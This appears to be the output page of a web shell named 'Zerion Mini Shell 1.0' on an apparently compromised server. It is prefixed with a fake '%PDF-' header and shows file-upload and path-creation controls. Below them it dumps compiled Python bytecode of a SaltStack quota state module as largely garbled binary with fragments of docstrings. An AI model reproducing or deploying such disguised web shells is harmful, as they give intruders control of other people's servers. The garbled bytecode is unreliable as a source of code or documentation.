%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/states/quota.pyo

�
���^c@@s8dZddlmZmZmZd�Zd�ZdS(u�
Management of POSIX Quotas
==========================

The quota can be managed for the system:

.. code-block:: yaml

    /:
      quota.mode:
        mode: off
        quotatype: user
i(tabsolute_importtprint_functiontunicode_literalscC@sdtkrdStS(u@
    Only load if the quota module is available in __salt__
    uquota.reportuquota(t__salt__tFalse(((s5/usr/lib/python2.7/site-packages/salt/states/quota.pyt__virtual__scC@si|d6id6dd6dd6}d}|tkr=d}ntd|�|||krt|d<d	j||�|d<|Std
r�dj||�|d<|Stdj|�|�r�i|d
6|d<t|d<dj||�|d<|St|d<dj||�|d<|SdS(u�
    Set the quota for the system

    name
        The filesystem to set the quota mode on

    mode
        Whether the quota system is on or off

    quotatype
        Must be ``user`` or ``group``
    unameuchangesuresultuucommentuoffuonuquota.get_modeu Quota for {0} already set to {1}utestu$Quota for {0} needs to be set to {1}u	quota.{0}uquotauSet quota for {0} to {1}u"Failed to set quota for {0} to {1}N(tNonetTrueRtformatt__opts__R(tnametmodet	quotatypetrettfun((s5/usr/lib/python2.7/site-packages/salt/states/quota.pyRs.

	

	


N(t__doc__t
__future__RRRRR(((s5/usr/lib/python2.7/site-packages/salt/states/quota.pyt<module>s	

Zerion Mini Shell 1.0